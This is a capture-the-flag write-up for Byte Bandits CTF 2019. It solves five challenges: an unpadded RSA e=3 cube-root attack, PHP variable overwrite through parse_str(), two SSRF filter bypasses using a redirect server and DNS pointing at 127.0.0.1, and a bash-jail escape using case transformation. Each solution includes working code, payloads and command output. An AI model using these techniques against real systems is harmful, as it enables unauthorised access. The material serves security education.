ByteBandits CTF 2019
First part of writeups for the Byte Bandits CTF 2019.
RivestShamirAdleman
We are given the following data:
n = 22272129080562722886614022632205442705494455272860112814093083500097723366897651161029102178806468364810560145326674298943748926312059319333104024877629414355081997511170571841726554870330438449136414942769879449909945280622679982416961505259605748700527626064176345428348075666618966413358066674766244602120334405919054045097465042177827566762056612497539403392371174259602854649957161582616110665358774209954483243807893225011511670025850800717182535575577848500527430246259134071980979951803599863210705004134764027126983838884518704239682964897619030091789047630556807645411417077149617559860988186649846538955623
e = 3
ciphertext = 56274920108122478990888092521371739605513959053322262229138771723654033167756128122086229722406180593128664696512912311575327724724695863345048713415525599333
It’s a basic RSA challenge with small public exponent (e=3)
and lack of proper padding. Even though n
is chosen from strong primes and it’s quite big, it is still possible to break it.
All we need to do is to compute the third root of C
(ciphertext) to get the plaintext. Small python script will do the trick:
# https://stackoverflow.com/questions/15978781/how-to-find-integer-nth-roots
def iroot(k, n):
u, s = n, n+1
while u < s:
s = u
t = (k-1) * s + n // pow(s, k-1)
u = t // k
return s
c = 56274920108122478990888092521371739605513959053322262229138771723654033167756128122086229722406180593128664696512912311575327724724695863345048713415525599333
d = iroot(3,c)
print hex(d)[2:-1].decode("hex")
Let’s run it to get the flag:
[~]$ python2 solve.py
flag{nO_paDDing00_rsa}
We can also go with the quick win with the RsaCtfTool:
$ python2 RsaCtfTool.py -n 22272129080562722886614022632205442705494455272860112814093083500097723366897651161029102178806468364810560145326674298943748926312059319333104024877629414355081997511170571841726554870330438449136414942769879449909945280622679982416961505259605748700527626064176345428348075666618966413358066674766244602120334405919054045097465042177827566762056612497539403392371174259602854649957161582616110665358774209954483243807893225011511670025850800717182535575577848500527430246259134071980979951803599863210705004134764027126983838884518704239682964897619030091789047630556807645411417077149617559860988186649846538955623 -e 3 --uncipher 56274920108122478990888092521371739605513959053322262229138771723654033167756128122086229722406180593128664696512912311575327724724695863345048713415525599333
[+] Clear text : flag{nO_paDDing00_rsa}
EasyPHP
We are presented with the following source code:
|
|
The bug is on line 6
, where user controlled variable is being run through parse_str()
function:
$parsed_query = parse_str($query);
Regarding to the PHP manual: > parse_str - Parses the string into variables
Knowing that, we may assume that by controlling the query
string we can set any variable.
Let’s break it down.
[~]$ php -a
Interactive shell
php > $hashed_key = '79abe9e217c2532193f910434453b2b9521a94c25ddc2e34f55947dea77d70ff';
php > $query = "action=auth&key=aaa";
php > parse_str($query);
php > echo $action;
auth
php > echo $key;
aaa
php > $query = "action=auth&hashed_key=pwned";
php > parse_str($query);
php > echo $hashed_key;
pwned
The solve is trival, we need to pass valid key
and its sha256
hash:
[~]$ echo -n test | sha256sum
9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
Final query:
?action=auth&hashed_key=9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08&key=test
flag:
flag{ezPz_pHp_0b9fd0f8}
Online Previewer 1
By visiting the chall url we can find something that seems to be the web proxy
:
There is a hint in the html code:
Basically, we need to do SSRF to get the flag. Problem is that any reference to localhost is being filtered by the web app:
After trying quite a few payloads, such as transforming 127.0.0.1
into integer, injecting known bypasses such as 0://evil.com:80,google.com:80/
or trying some php filters; the results were not promising. Then I realised that since I can point that proxy anywhere, I could try to use the redirection (301,302).
I’ve spawned a php webserver and hosted simple piece of code:
<?php
header('Location: http://127.0.0.1:1337/', true, 301);
?>
Then I pointed the web proxy
to my vps ip:
/tmp$ php -S 0.0.0.0:8080
PHP 7.0.33-0+deb9u3 Development Server started at Fri Apr 12 22:47:59 2019
Listening on http://0.0.0.0:8080
Document root is /tmp
Press Ctrl-C to quit.
[Fri Apr 12 22:50:03 2019] 35.154.144.251:58234 [301]: /
and..
Online Previewer 2
Additional checks were introduced into that level. I was trying a bit more sophisticated payloads or redirects but nothing worked.
After some time I found a similar challenge: list0r (web 400)
from 33c3ctf
. As it turned out, the challanges were very similar.
I’ve assigned two A
records to my domain:
[~]$ dig [redacted].cc @8.8.8.8 A +short
[redacted]
127.0.0.1
[~]$
After few tryouts I was able to recover the flag:
Bash-fu
All commands are transformed into uppercase:
[~]$ nc -v 13.234.130.76 7002
Connection to 13.234.130.76 7002 port [tcp/afs3-prserver] succeeded!
bash: cannot set terminal process group (1): Not a tty
bash: no job control in this shell
bash-4.4$ id
id
bash: ID: command not found
bash-4.4$ /???/???
/???/???
bash: /???/???: No such file or directory
It was possible to bypass the restrictions by using bash builtin string transformations:
bash-4.4$ a="id"; ${a,,}
a="id"; ${a,,}
uid=100(convict) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
bash-4.4$ a="ls -la /jail"; ${a,,}
a="ls -la /jail"; ${a,,}
total 16
drwxr-xr-x 1 root root 4096 Apr 13 03:22 .
drwxr-xr-x 1 root root 4096 Apr 13 03:23 ..
-rw-r--r-- 1 root root 32 Apr 11 21:32 flag.txt
-rwxrwxrwx 1 root root 466 Apr 12 16:45 jail
bash-4.4$ a="cat /jail/flag.txt"; ${a,,}
a="cat /jail/flag.txt"; ${a,,}
flag{b@$h_jails_are_3asy_p3@sy}